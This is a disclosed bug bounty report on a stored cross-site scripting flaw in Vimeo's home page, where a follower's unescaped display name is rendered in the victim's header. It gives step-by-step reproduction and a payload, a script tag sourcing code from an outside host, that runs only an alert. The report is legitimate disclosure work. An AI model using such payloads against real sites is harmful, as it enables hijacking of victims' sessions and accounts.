Vimeo · Report #87854
XSS on vimeo.com/home after other user follows you
Validstatus
19upvotes
31 Aug 2017disclosed
How it was found
Description
If some user follows you on Vimeo, the Name of the user appears in the header of your Home like "[Name] followed you. The staff posted...". The problem is that the Name is not escaped, which allows to insert HTML code.
Proof of concept
- Using the attacker's account, go to https://vimeo.com/settings.
- Change the Name to
<script src=//u00f1.xyz>. - Click on Save Changes.
- Go to the victim's Profile.
- Click on Follow (is at the bottom of the profile picture).
- Using the victim's account, go to https://vimeo.com/home.
- https://u00f1.xyz is loaded and
alert(document.domain)is executed.
I attached a screen capture to identify where the Name of the attacker appears. In this case I used an <img> as the Name of the attacker, you can notice the broken image.